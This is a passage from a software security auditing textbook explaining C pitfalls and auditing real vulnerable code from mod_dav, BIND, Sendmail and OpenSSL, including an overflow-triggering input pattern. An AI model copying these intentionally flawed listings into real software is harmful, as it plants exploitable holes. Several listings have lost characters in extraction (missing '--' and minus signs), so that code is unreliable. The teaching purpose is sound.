result of the subtraction isn't a pointer at all; instead, it's a signed integer type known as a ptrdiff_t. Pointers can be freely converted into integers and into pointers of other types with the use of casts. However, the compiler makes no guarantee that the resulting pointer or integer is correctly aligned or points to a valid object. Therefore, pointers are one of the more implementation-dependent portions of the C language. Pointer Arithmetic Overview When you do arithmetic with a pointer, what occurs? Here's a simple example of adding 1 to a pointer: short *j; j=(short *)0x1234; j = j + 1; This code has a pointer to a short named j. It's initialized to an arbitrary fixed address, 0x1234. This is bad C code, but it serves to get the point across. As mentioned previously, you can treat pointers and integers interchangeably as long you use casts, but the results depend on the implementation. You might assume that after you add 1 to j, j is equal to 0x1235. However, as you probably know, this isn't what happens. j is actually 0x1236. When C does arithmetic involving a pointer, it does the operation relative to the size of the pointer's target. So when you add 1 to a pointer to an object, the result is a pointer to the next object of that size in memory. In this example, the object is a short integer, which takes up 2 bytes (on the 32-bit Intel architecture), so the short following 0x1234 in memory is at location 0x1236. If you subtract 1, the result is the address of the short before the one at 0x1234, which is 0x1232. If you add 5, you get the address 0x123e, which is the fifth short past the one at 0x1234. Another way to think of it is that a pointer to an object is treated as an array composed of one element of that object. So j, a pointer to a short, is treated like the array short j[1], which contains one short. Therefore, j + 2 would be equivalent to &j[2]. Table 6-11 shows this concept. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 296 Table 6-11. Pointer Arithmetic and Memory Pointer Expression Array Expression Address j - 2 &j[-2] 0x1230 0x1231 j - 1 &j[-1] 0x1232 0x1233 j j or &j[0] 0x1234 0x1235 j + 1 &j[1] 0x1236 0x1237 j + 2 &j[2] 0x1238 0x1239 j + 3 &j[3] 0x123a 0x123b j + 4 &j[4] 0x123c 0x123d j + 5 &j[5] 0x123e 0x123f Now look at the details of the important pointer arithmetic operators, covered in the following sections. Addition The rules for pointer addition are slightly more restrictive than you might expect. You can add an integer type to a pointer type or a pointer type to an integer type, but you can't add a pointer type to a pointer type. This makes sense when you consider what pointer addition actually does; the compiler wouldn't know which pointer to use as the base type and which to use as an index. For example, look at the following operation: unsigned short *j; unsigned long *k; x = j+k; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 297 This operation would be invalid because the compiler wouldn't know how to convert j or k into an index for the pointer arithmetic. You could certainly cast j or k into an integer, but the result would be unexpected, and it's unlikely someone would do this intentionally. One interesting rule of C is that the subscript operator falls under the category of pointer addition. The C standard states that the subscript operator is equivalent to an expression involving addition in the following way: E1[E2] is equivalent to (*((E1)+(E2))) With this in mind, look at the following example: char b[10]; b[4]='a'; The expression b[4] refers to the fifth object in the b character array. According to the rule, here's the equivalent way of writing it: (*((b)+(4)))='a'; You know from your earlier analysis that b + 4, with b of type pointer to char, is the same as saying &b[4]; therefore, the expression would be like saying (*(&b[4])) or b[4]. Finally, note that the resulting type of the addition between an integer and a pointer is the type of the pointer. Subtraction Subtraction has similar rules to addition, except subtracting one pointer from another is permissible. When you subtract a pointer from a pointer of the same type, you're asking for the difference in the subscripts of the two elements. In this case, the resulting type isn't a pointer but a ptrdiff_t, which is a signed integer type. The C standard indicates it should be defined in the stddef.h header file. Comparison Comparison between pointers works as you might expect. They consider the relative locations of the two pointers in the virtual address space. The resulting type is the same as with other comparisons: an integer type containing a 1 or 0. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 298 Conditional Operator The conditional operator (?) can have pointers as its last two operands, and it has to reconcile their types much as it does when used with arithmetic operands. It does this by applying all qualifiers either pointer type has to the resulting type. Vulnerabilities Few vulnerabilities involving pointer arithmetic have been widely publicized, at least in the sense being described here. Plenty of vulnerabilities that involve manipulation of character pointers essentially boil down to miscounting buffer sizes, and although they technically qualify as pointer arithmetic errors, they aren't as subtle as pointer vulnerabilities can get. The more pernicious form of problems are those in which developers mistakenly perform arithmetic on pointers without realizing that their integer operands are being scaled by the size of the pointer's target. Consider the following code: int buf[1024]; int *b=buf; while (havedata() && b < buf + sizeof(buf)) { *b++=parseint(getdata()); } The intent of b < buf + sizeof(buf) is to prevent b from advancing past buf[1023]. However, it actually prevents b from advancing past buf[4092]. Therefore, this code is potentially vulnerable to a fairly straightforward buffer overflow. Listing 6-29 allocates a buffer and then copies the first path component from the argument string into the buffer. There's a length check protecting the wcscat function from overflowing the allocated buffer, but it's constructed incorrectly. Because the strings are wide characters, the pointer subtraction done to check the size of the input (sep - string) returns the difference of the two pointers in wide charactersthat is, the difference between the two pointers in bytes divided by 2. Therefore, this length check succeeds as long as (sep string) contains less than (MAXCHARS * 2) wide characters, which could be twice as much space as the allocated buffer can hold. Listing 6-29. Pointer Arithmetic Vulnerability Example wchar_t *copy_data(wchar_t *string) { wchar *sep, *new; int size = MAXCHARS * sizeof(wchar); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 299 new = (wchar *)xmalloc(size); *new = '\0'; if(*string != '/'){ wcscpy(new, "/"); size -= sizeof(wchar_t); } sep = wstrchr(string, '/'); if(!sep) sep = string + wcslen(string); if(sep - string >= (size sizeof(wchar_t)) { free(new); die("too much data"); } *sep = '\0'; wcscat(new, string); return new; } Auditing Tip Pointer arithmetic bugs can be hard to spot. Whenever an arithmetic operation is performed that involves pointers, look up the type of those pointers and then check whether the operation agrees with the implicit arithmetic taking place. In Listing 6-29, has sizeof() been used incorrectly with a pointer to a type that's not a byte? Has a similar operation happened in which the developer assumed the pointer type won't affect how the operation is performed? 7.2.9 Other C Nuances The following sections touch on features and dark corners of the C language where security-relevant mistakes could be made. Not many real-world examples of these vulnerabilities are available, yet you should still be aware of the potential risks. Some examples might seem contrived, but try to imagine them as hidden beneath layers of macros and interdependent functions, and they might seem more realistic. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 300 Order of Evaluation For most operators, C doesn't guarantee the order of evaluation of operands or the order of assignments from expression "side effects." For example, consider this code: printf("%d\n", i++, i++); There's no guarantee in which order the two increments are performed, and you'll find that the output varies based on the compiler and the architecture on which you compile the program. The only operators for which order of evaluation is guaranteed are &&, ||, ?:, and ,. Note that the comma doesn't refer to the arguments of a function; their evaluation order is implementation defined. So in something as simple as the following code, there's no guarantee that a() is called before b(): x = a() + b(); Ambiguous side effects are slightly different from ambiguous order of evaluation, but they have similar consequences. A side effect is an expression that causes the modification of a variablean assignment or increment operator, such as ++. The order of evaluation of side effects isn't defined within the same expression, so something like the following is implementation defined and, therefore, could cause problems: a[i] = i++; How could these problems have a security impact? In Listing 6-30, the developer uses the getstr() call to get the user string and pass string from some external source. However, if the system is recompiled and the order of evaluation for the getstr() function changes, the code could end up logging the password instead of the username. Admittedly, it would be a low-risk issue caught during testing. Listing 6-30. Order of Evaluation Logic Vulnerability int check_password(char *user, char *pass) { if (strcmp(getpass(user), pass)) { logprintf("bad password for user %s\n", user); return -1; } return 0; } ... if (check_password(getstr(), getstr()) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 301 exit(1); Listing 6-31 has a copy_packet() function that reads a packet from the network. It uses the GET32() macro to pull an integer from the packet and advance the pointer. There's a provision for optional padding in the protocol, and the presence of the padding size field is indicated by a flag in the packet header. So if FLAG_PADDING is set, the order of evaluation of the GET32() macros for calculating the datasize could possibly be reversed. If the padding option is in a fairly unused part of the protocol, an error of this nature could go undetected in production use. Listing 6-31. Order of Evaluation Macro Vulnerability #define GET32(x) (*((unsigned int *)(x))++) u_char *copy_packet(u_char *packet) { int *w = (int *)packet; unsigned int hdrvar, datasize; /* packet format is hdr var, data size, padding size */ hdrvar = GET32(w); if (hdrvar & FLAG_PADDING) datasize = GET32(w) - GET32(w); else datasize = GET32(w); ... } Structure Padding One somewhat obscure feature of C structures is that structure members don't have to be laid out contiguously in memory. The order of members is guaranteed to follow the order programmers specify, but structure padding can be used between members to facilitate alignment and performance needs. Here's an example of a simple structure: struct bob { int a; unsigned short b; unsigned char c; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 302 }; What do you think sizeof(bob) is? A reasonable guess is 7; that's sizeof(a) + sizeof(b) + sizeof(c), which is 4 + 2 + 1. However, most compilers return 8 because they insert structure padding! This behavior is somewhat obscure now, but it will definitely become a well-known phenomenon as more 64-bit code is introduced because it has the potential to affect this code more acutely. How could it have a security consequence? Consider Listing 6-32. Listing 6-32. Structure Padding in a Network Protocol struct netdata { unsigned int query_id; unsigned short header_flags; unsigned int sequence_number; }; int packet_check_replay(unsigned char *buf, size_t len) { struct netdata *n = (struct netdata *)buf; if ((ntohl(n->sequence_number) <= g_last_sequence number) return PARSE_REPLAYATTACK; // packet is safe - process return PARSE_SAFE; } On a 32-bit big-endian system, the neTData structure is likely to be laid out as shown in Figure 6-9. You have an unsigned int, an unsigned short, 2 bytes of padding, and an unsigned int for a total structure size of 12 bytes. Figure 6-10 shows the traffic going over the network, in network byte order. If developers don't anticipate the padding being inserted in the structure, they could be misinterpreting the network protocol. This error could cause the server to accept a replay attack. Figure 6-9. Netdata structure on a 32-bit big-endian machine The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 303 Figure 6-10. Network protocol in network byte order The possibility of making this kind of mistake increases with 64-bit architectures. If a structure contains a pointer or long value, the layout of the structure in memory will most likely change. Any 64-bit value, such as a pointer or long int, will take up twice as much space as on a 32 bit-system and have to be placed on a 64-bit alignment boundary. The contents of the padding bits depend on whatever happens to be in memory when the structure is allocated. These bits could be different, which could lead to logic errors involving memory comparisons, as shown in Listing 6-33. Listing 6-33. Example of Structure Padding Double Free struct sh { void *base; unsigned char code; void *descptr; }; void free_sechdrs(struct sh *a, struct sh *b) { if (!memcmp(a, b, sizeof(a))) { /* they are equivalent */ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 304 free(a->descptr); free(a->base); free(a); return; } free(a->descptr); free(a->base); free(a); free(b->descptr); free(b->base); free(b); return; } If the structure padding is different in the two structures, it could cause a double-free error to occur. Take a look at Listing 6-34. Listing 6-34. Example of Bad Counting with Structure Padding struct hdr { int flags; short len; }; struct hdropt { char opt1; char optlen; char descl; }; struct msghdr { struct hdr h; struct hdropt o; }; struct msghdr *form_hdr(struct hdr *h, struct hdropt *o) { struct msghdr *m=xmalloc(sizeof *h + sizeof *o); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 305 memset(m, 0, sizeof(struct msghdr)); ... The size of hdropt would likely be 3 because there are no padding requirements for alignment. The size of hdr would likely be 8 and the size of msghdr would likely be 12 to align the two structures. Therefore, memset would write 1 byte past the allocated data with a \0. Precedence When you review code written by experienced developers, you often see complex expressions that seem to be precariously void of parentheses. An interesting vulnerability would be a situation in which a precedence mistake is made but occurs in such a way that it doesn't totally disrupt the program. The first potential problem is the precedence of the bitwise & and | operators, especially when you mix them with comparison and equality operators, as shown in this example: if ( len & 0x80000000 != 0) die("bad len!"); if (len < 1024) memcpy(dst, src, len); The programmers are trying to see whether len is negative by checking the highest bit. Their intent is something like this: if ( (len & 0x80000000) != 0) die("bad len!"); What's actually rendered into assembly code, however, is this: if ( len & (0x80000000 != 0)) die("bad len!"); This code would evaluate to len & 1. If len's least significant bit isn't set, that test would pass, and users could specify a negative argument to memcpy(). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 306 There are also potential precedence problems involving assignment, but they aren't likely to surface in production code because of compiler warnings. For example, look at the following code: if (len = getlen() > 30) snprintf(dst, len - 30, "%s", src) The authors intended the following: if ((len = getlen()) > 30) snprintf(dst, len - 30, "%s", src) However, they got the following: if (len = (getlen() > 30)) snprintf(dst, len - 30, "%s", src) len is going to be 1 or 0 coming out of the if statement. If it's 1, the second argument to snprintf() is -29, which is essentially an unlimited string. Here's one more potential precedence error: int a = b + c >> 3; The authors intended the following: int a = b + (c >> 3); As you can imagine, they got the following: int a = (b + c) >> 3; Macros/Preprocessor C's preprocessor could also be a source of security problems. Most people are familiar with the problems in a macro like this: #define SQUARE(x) x*x The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 307 If you use it as follows: y = SQUARE(z + t); It would evaluate to the following: y = z + t*z + t; That result is obviously wrong. The recommended fix is to put parentheses around the macro and the arguments so that you have the following: #define SQUARE(x) ((x)*(x)) You can still get into trouble with macros constructed in this way when you consider order of evaluation and side-effect problems. For example, if you use the following: y = SQUARE(j++); It would evaluate to y = ((j++)*(j++)); That result is implementation defined. Similarly, if you use the following: y = SQUARE(getint()); It would evaluate to y = ((getint())*(getint())); This result is probably not what the author intended. Macros could certainly introduce security issues if they're used in way outside mainstream use, so pay attention when you're auditing code that makes heavy use of them. When in doubt, expand them by hand or look at the output of the preprocessor pass. Typos Programmers can make many simple typographic errors that might not affect program compilation or disrupt a program's runtime processes, but these typos could The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 308 lead to security-relevant problems. These errors are somewhat rare in production code, but occasionally they crop up. It can be entertaining to try to spot typos in code. Possible typographic mistakes have been presented as a series of challenges. Try to spot the mistake before reading the analysis. Challenge 1 while (*src && left) { *dst++=*src++; if (left = 0) die("badlen"); left--; } The statement if (left = 0) should read if (left == 0). In the correct version of the code, if left is 0, the loop detects a buffer overflow attempt and aborts. In the incorrect version, the if statement assigns 0 to left, and the result of that assignment is the value 0. The statement if (0) isn't true, so the next thing that occurs is the left--; statement. Because left is 0, left-- becomes a negative 1 or a large positive number, depending on left's type. Either way, left isn't 0, so the while loop continues, and the check doesn't prevent a buffer overflow. Challenge 2 int f; f=get_security_flags(username); if (f = FLAG_AUTHENTICATED) { return LOGIN_OK; } return LOGIN_FAILED; The statement if (f = FLAG_AUTHENTICATED) should read as follows: if (f == FLAG_AUTHENTICATED) In the correct version of the code, if users' security flags indicate they're authenticated, the function returns LOGIN_OK. Otherwise, it returns LOGIN_FAILED. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 309 In the incorrect version, the if statement assigns whatever FLAG_AUTHENTICATED happens to be to f. The if statement always succeeds because FLAG_AUTHENTICATED is some nonzero value. Therefore, the function returns LOGIN_OK for every user. Challenge 3 for (i==5; src[i] && i<10; i++) { dst[i-5]=src[i]; } The statement for (i==5; src[i] && i<10; i++) should read as follows: for (i=5; src[i] && i<10; i++) In the correct version of the code, the for loop copies 4 bytes, starting reading from src[5] and starting writing to dst[0]. In the incorrect version, the expression i= evaluates to true or false but doesn't affect the contents of i. Therefore, if i is some value less than 10, it could cause the for loop to write and read outside the bounds of the dst and src buffers. Challenge 4 if (get_string(src) && check_for_overflow(src) & copy_string(dst,src)) printf("string safely copied\n"); The if statement should read like so: if (get_string(src) && check_for_overflow(src) && copy_string(dst,src)) In the correct version of the code, the program gets a string into the src buffer and checks the src buffer for an overflow. If there isn't an overflow, it copies the string to the dst buffer and prints "string safely copied." In the incorrect version, the & operator doesn't have the same characteristics as the && operator. Even if there isn't an issue caused by the difference between logical and bitwise AND operations in this situation, there's still the critical problem of short-circuit evaluation and guaranteed order of execution. Because it's a bitwise AND operation, both operand expressions are evaluated, and the order in which they are evaluated isn't necessarily known. Therefore, copy_string() is called even if The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 310 check_for_overflow() fails, and it might be called before check_for_overflow() is called. Challenge 5 if (len > 0 && len <= sizeof(dst)); memcpy(dst, src, len); The if statement should read like so: if (len > 0 && len <= sizeof(dst)) In the correct version of the code, the program performs a memcpy() only if the length is within a certain set of bounds, therefore preventing a buffer overflow attack. In the incorrect version, the extra semicolon at the end of the if statement denotes an empty statement, which means memcpy() always runs, regardless of the result of length checks. Challenge 6 char buf[040]; snprintf(buf, 40, "%s", userinput); The statement char buf[040]; should read char buf[40];. In the correct version of the code, the program sets aside 40 bytes for the buffer it uses to copy the user input into. In the incorrect version, the program sets aside 32 bytes. When an integer constant is preceded by 0 in C, it instructs the compiler that the constant is in octal. Therefore, the buffer length is interpreted as 040 octal, or 32 decimal, and snprintf() could write past the end of the stack buffer. Challenge 7 if (len < 0 || len > sizeof(dst)) /* check the length die("bad length!"); /* length ok */ memcpy(dst, src, len); The if statement should read like so: if (len < 0 || len > sizeof(dst)) /* check the length */ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 311 In the correct version of the code, the program checks the length before it carries out memcpy() and calls abort() if the length is out of the appropriate range. In the incorrect version, the lack of an end to the comment means memcpy() becomes the target statement for the if statement. So memcpy() occurs only if the length checks fail. Challenge 8 if (len > 0 && len <= sizeof(dst)) copiedflag = 1; memcpy(dst, src, len); if (!copiedflag) die("didn't copy"); The first if statement should read like so: if (len > 0 && len <= sizeof(dst)) { copiedflag = 1; memcpy(dst, src, len); } In the correct version, the program checks the length before it carries out memcpy(). If the length is out of the appropriate range, the program sets a flag that causes an abort. In the incorrect version, the lack of a compound statement following the if statement means memcpy() is always performed. The indentation is intended to trick the reader's eyes. Challenge 9 if (!strncmp(src, "magicword", 9)) // report_magic(1); if (len < 0 || len > sizeof(dst)) assert("bad length!"); /* length ok */ memcpy(dst, src, len); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 312 The report_magic(1) statement should read like so: // report_magic(1); ; In the correct version, the program checks the length before it performs memcpy(). If the length is out of the appropriate range, the program sets a flag that causes an abort. In the incorrect version, the lack of a compound statement following the magicword if statement means the length check is performed only if the magicword comparison is true. Therefore, memcpy() is likely always performed. Challenge 10 l = msg_hdr.msg_len; frag_off = msg_hdr.frag_off; frag_len = msg_hdr.frag_len; ... if ( frag_len > (unsigned long)max) { al=SSL_AD_ILLEGAL_PARAMETER; SSLerr(SSL_F_DTLS1_GET_MESSAGE_FRAGMENT, SSL_R_EXCESSIVE_MESSAGE_SIZE); goto f_err; } if ( frag_len + s->init_num > (INT_MAX - DTLS1_HM_HEADER_LENGTH)) { al=SSL_AD_ILLEGAL_PARAMETER; SSLerr(SSL_F_DTLS1_GET_MESSAGE_FRAGMENT, SSL_R_EXCESSIVE_MESSAGE_SIZE); goto f_err; } if ( frag_len & !BUF_MEM_grow_clean(s->init_buf, (int)frag_len + DTLS1_HM_HEADER_LENGTH + s->init_num)) { SSLerr(SSL_F_DTLS1_GET_MESSAGE_FRAGMENT, ERR_R_BUF_LIB); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 313 goto err; } if ( s->d1->r_msg_hdr.frag_off == 0) { s->s3->tmp.message_type = msg_hdr.type; s->d1->r_msg_hdr.type = msg_hdr.type; s->d1->r_msg_hdr.msg_len = l; /* s->d1->r_msg_hdr.seq = seq_num; */ } /* XDTLS: ressurect this when restart is in place */ s->state=stn; /* next state (stn) */ p = (unsigned char *)s->init_buf->data; if ( frag_len > 0) { i=s->method->ssl_read_bytes(s,SSL3_RT_HANDSHAKE, &p[s->init_num], frag_len,0); /* XDTLS: fix thismessage fragments cannot span multiple packets */ if (i <= 0) { s->rwstate=SSL_READING; *ok = 0; return i; } } else i = 0; Did you spot the bug? There is a mistake in one of the length checks where the developers use a bitwise AND operator (&) instead of a logical AND operator (&&). Specifically, the statement should read: if ( frag_len && !BUF_MEM_grow_clean(s->init_buf, (int)frag_len + DTLS1_HM_HEADER_LENGTH + s->init_num)) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 314 This simple mistake could lead to memory corruption if the BUF_MEM_grow_clean() function were to fail. This function returns 0 upon failure, which will be set to 1 by the logical not operator. Then, a bitwise AND operation with frag_len will occur. So, in the case of failure, the malformed statement is really doing the following: if(frag_len & 1) { SSLerr(...); } 7.2.10 Summary This chapter has covered nuances of the C programming language that can lead to subtle and complex vulnerabilities. This background should enable you to identify problems that can occur with operator handling, type conversions, arithmetic operations, and common C typos. However, the complex nature of this topic does not lend itself to complete understanding in just one pass. Therefore, refer back to this material as needed when conducting application assessments. After all, even the best code auditor can easily miss subtle errors that could result in severe vulnerabilities. 7.3 Chapter 7. Program Building Blocks "The secret to creativity is knowing how to hide your sources." Albert Einstein 7.3.1 Introduction When reviewing applications, certain constructs tend to appear over and over again. These recurring patterns are the natural result of programmers worldwide solving similar small technical problems as they develop applications. These small problems are often a result of the application's problem-domain, such as needing a particular data structure or algorithm for the quick retrieval or sorting of a certain type of data element. They can also result from technical details of the program's target environment or the capabilities and limitations of the programming language itself. For example, most applications written in C have code for manipulating string bytes and handling dynamic memory allocation. From a security review perspective, it proves useful to study these recurring code patterns, focusing on areas where developers might make security-relevant mistakes. Armed with this knowledge, you can quickly identify and evaluate problem-causing The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 315 behaviors and patterns in the code you encounter. You can also adapt more quickly when you encounter new codebases. Over time, you will find that it becomes easier to recognize the intent and meaning of unfamiliar code because you can spot familiar patterns and activities. This chapter explores these common code constructs and patterns and helps you identify where developers are prone to making security-relevant mistakes. 7.3.2 Auditing Variable Use Variables are objects used to store data elements that have some relevance to an application. They are given meaning by the way they're used: what's stored in them, what operations are performed on them, and what they represent. A large part of code auditing is based on understanding variables, their relationships to each other, and how an application can be affected adversely by unexpected manipulation of these relationships. This section discusses different techniques for recognizing variable and data structure misuse and presents several examples in popular applications to help reinforce the concepts. Variable Relationships Variables are related to each other if their values depend on each other in some fashion, or they are used together to represent some sort of application state. For example, a function might have one variable that points to a writeable location in a buffer and one variable that keeps track of the amount of space left in that buffer. These variables are related to each other, and their values should change in lockstep as the buffer is manipulated. The more variables used to represent state, the higher the chances that the variables can be manipulated to subvert the variable relationships, which can lead to an overall inconsistent state. As a code auditor, you must search for variables that are related to each other, determine their intended relationships, and then determine whether there's a way to desynchronize these variables from each other. This usually means finding a block of code that alters one variable in a fashion inconsistent with the other variables. Examples of this type of vulnerability can range from simple errors involving two variables in a loop to complicated ones involving many variables across multiple program modules that combine to represent complex state. First, take a look at Listing 7-1, an example from the mod_dav Apache module. This code deals with CDATA XML elements. Listing 7-1. Apache mod_dav CDATA Parsing Vulnerability cdata = s = apr_palloc(pool, len + 1); for (scan = elem->first_cdata.first; scan != NULL; scan = scan->next) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 316 tlen = strlen(scan->text); memcpy(s, scan->text, tlen); s += tlen; } for (child = elem->first_child; child != NULL; child = child->next) { for (scan = child->following_cdata.first; scan != NULL; scan = scan->next) { tlen = strlen(scan->text); memcpy(s, scan->text, tlen); s += tlen; } } *s = '\0'; In Listing 7-1, you can see that a data buffer, s (also set to cdata), is allocated via apr_palloc(), and then string data elements from two linked lists (elem->first_cdata.first and elem->first_child) are copied into the data buffer. The length of the cdata buffer, len, was calculated previously by two similar loops through the linked lists. At this point, you have two related variables you're interested in: a pointer to the buffer, cdata, and a variable representing the buffer's length, len. The preceding code is fine, but see what happens when mod_dav attempts to trim the buffer by pruning whitespace characters: if (strip_white) { /* trim leading whitespace */ while (apr_isspace(*cdata)) /* assume: return false * for '\0' */ ++cdata; /* trim trailing whitespace */ while (len > 0 && apr_isspace(cdata[len])) continue; cdata[len + 1] = '\0'; } return cdata; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 317 The leading spaces are skipped by incrementing the cdata variable; however, the len variable doesn't get decremented to reflect the buffer's shrinking size. The relationship between the two variables has been rendered invalid. Therefore, when the trailing spaces are trimmed in the second while loop, the cdata[len] location can point outside the bounds of the buffer. The previous example shows a reasonably straightforward error. Usually vulnerabilities of this nature are far more complicated because of several related variables combining to represent application state or complex code paths that allow more opportunities for variables to be desynchronized from one another. To see an example of these code paths, take a look at Listing 7-2, from the BIND 9.2.1 resolver code. This code has been shortened because it's quite long and rather difficult to follow. Listing 7-2. Bind 9.2.1 Resolver Code gethostans() Vulnerability static struct hostent * gethostans(struct irs_ho *this, const u_char *ansbuf, int anslen, const char *qname, int qtype, int af, int size, /* meaningless for addrinfo cases */ struct addrinfo **ret_aip, const struct addrinfo *pai) { struct pvt *pvt = (struct pvt *)this->private; int type, class, buflen, ancount, qdcount, n, haveanswer, had_error; int error = NETDB_SUCCESS, arcount; int (*name_ok)(const char *); const HEADER *hp; const u_char *eom; const u_char *eor; const u_char *cp; const char *tname; const char *hname; char *bp, **ap, **hap; char tbuf[MAXDNAME+1]; struct addrinfo sentinel, *cur, ai; const u_char *arp = NULL; ... eom = ansbuf + anslen; ... bp = pvt->hostbuf; buflen = sizeof pvt->hostbuf; cp = ansbuf + HFIXEDSZ; ... The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 318 haveanswer = 0; had_error = 0; while (ancount > 0 && cp < eom && !had_error) { Now look at the variables in play in the preceding code. Coming into this function, ansbuf is a pointer to a DNS response packet, and cp points to the first record in the packet after the DNS header. The pvt->hostbuf buffer holds hostnames read in from the DNS response. The buflen variable represents the amount of space left in the hostbuf buffer, and it's updated accordingly as the buffer is written into with each response from the packet. The bp variable holds the current write location in the hostname buffer. So every time bp is incremented to point further into the buffer, buflen should be decremented by the same amount. The while loop at the end iterates through each answer in the DNS response packet (as tracked by anscount), making sure it doesn't read past the end of the packet (stored in eom). The following code handles extracting hostnames from a CNAME answer to a query. It's correct from a security perspective and should give you a little insight into the use of variables: ... if ((qtype == T_A || qtype == T_AAAA || qtype == ns_t_a6 || qtype == T_ANY) && type == T_CNAME) { if (ap >= &pvt->host_aliases[MAXALIASES-1]) continue; n = dn_expand(ansbuf, eor, cp, tbuf, sizeof tbuf); if (n < 0 || !maybe_ok(pvt->res, tbuf, name_ok)) { had_error++; continue; } cp += n; /* Store alias. */ *ap++ = bp; ... n = strlen(tbuf) + 1; /* for the \0 */ if (n > buflen || n > MAXHOSTNAMELEN) { had_error++; continue; } strcpy(bp, tbuf); pvt->host.h_name = bp; hname = bp; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 319 bp += n; buflen -= n; continue; Basically, if the query is a request for an IP address (qtype=), and the server responds with a CNAME, which is an alias, the program needs to record the alias into a list (pvt->host_aliases) and place the hostname into the pvt->hostbuf buffer. If there's room in the alias list, BIND uses dn_expand() to pull the hostname out of the packet into the temporary buffer tbuf. If this name is okay, the alias is stored in the hostname buffer. Note that the relationship highlighted earlier about bp and buflen moving in lockstep has been preserved. A code reviewer focusing on this relationship will see one case in which desynchronizing bp from buflen is possiblespecifically, when converting information related to A and AAAA records. The offending code is bolded in the following excerpt: case T_A: case T_AAAA: convertinfo: /* convert addrinfo into hostent form */ ... if (ret_aip) { /* need addrinfo. keep it. */ while (cur && cur->ai_next) cur = cur->ai_next; } else if (cur->ai_next) { /* need hostent */ struct addrinfo *aip = cur->ai_next; for (aip = cur->ai_next; aip; aip = aip->ai_next) { int m; m = add_hostent(pvt, bp, hap, aip); if (m < 0) { had_error++; break; } if (m == 0) continue; if (hap < &pvt->h_addr_ptrs[MAXADDRS-1]) hap++; bp += m; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 320 freeaddrinfo(cur->ai_next); cur->ai_next = NULL; } cp += n; break; default: abort(); } if (!had_error) haveanswer++; } As you can see, the bp variable is updated without buflen being decremented, thus desynchronizing the two variables. This introduces the possibility for clients to send malformed DNS responses with multiple A and AAAA responses that aren't stored correctly; consequently, the pvt->hostbuf variable can be overflowed. This vulnerability has since been fixed by removing this variable relationship to ensure that another bug like this doesn't occur. Instead of having a buflen variable, a pointer variable, ep, is introduced that's statically set to the end of the buffer. Even though this variable is also related to bp, the relationship is safer, as ep never has to move and, therefore, can never be desynchronized. In a situation like this, you should try to identify parts of code where bp is incremented past ep and a subtraction of the two pointers (ep - bp) is converted to a large positive integer that is passed as a length argument. The previous example demonstrated a length variable not being updated correctly to reflect the remaining space in a buffer. Despite the amount of code in this function, it's still a straightforward example, in that only two variables constituted the state you were attempting to desynchronize. Sometimes multiple variables interrelate to represent a more complicated state, as in Listing 7-3, which consists of code from Sendmail 8.11.x. Listing 7-3. Sendmail crackaddr() Related Variables Vulnerability char * crackaddr(addr) register char *addr; { register char *p; register char c; int cmtlev; int realcmtlev; int anglelev, realanglelev; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 321 int copylev; int bracklev; bool qmode; bool realqmode; bool skipping; bool putgmac = false; bool quoteit = false; bool gotangle = false; bool gotcolon = false; register char *bp; char *buflim; char *bufhead; char *addrhead; static char buf[MAXNAME + 1]; ... bp = bufhead = buf; buflim = &buf[sizeof buf - 7]; p = addrhead = addr; copylev = anglelev = realanglelev = cmtlev = realcmtlev = 0; bracklev = 0; qmode = realqmode = false; while ((c = *p++) != '\0') { /* ** If the buffer is overfull, go into a ** special "skipping" mode that tries to ** keep legal syntax but doesn't actually ** output things */ skipping = bp >= buflim; Listing 7-3 shows the initial setup of the crackaddr() function, which is used to check the syntax of a supplied e-mail address (as well as output it to the buf character array). Here, several variables combine to represent the function's state. (All variables ending in lev indicate some level of nested address components.) The skipping mode variable is used to indicate that no more output buffer space remains, and several other variables represent different aspects of the input string (and its validity). The following code shows a little more of the processing in this function. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 322 /* check for comments */ if (c == '(') { cmtlev++; /* allow space for closing paren */ if (!skipping) { buflim; realcmtlev++; if (copylev++ <= 0) { if (bp != bufhead) *bp++ = ' '; *bp++ = c; } } } if (cmtlev > 0) { if (c == ')') { cmtlev; copylev; if (!skipping) { realcmtlev; buflim++; } } continue; } ... if (c == '>') { if (anglelev > 0) { anglelev; if (!skipping) { realanglelev; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 323 buflim++; } } else if (!skipping) { /* syntax error: unmatched > */ if (copylev > 0) bp; quoteit = true; continue; } if (copylev++ <= 0) *bp++ = c; continue; } In some cases, the output buffer is written to without checking the skipping mode variable to make sure enough space is leftnamely, when dealing with the angle bracket character (>). After studying the code, you can see recurring patterns that users can supply to cause these characters to be written outside the buffer's bounds. Specifically, when an angle bracket character is supplied, it can be written to the output buffer despite skipping mode being on, as long as copylev is less than or equal to zero. When the angle character is written, copylev is incremented, so you need a way to decrement it back to zero. It turns out that you can decrement copylev by supplying a closed parenthesis character as long as cmtlev is greater than 0, which you can ensure by supplying an open parenthesis character first. Therefore, the pattern ()>()>()>... causes a number of > characters to be written outside the buffer's bounds. This bug has two root 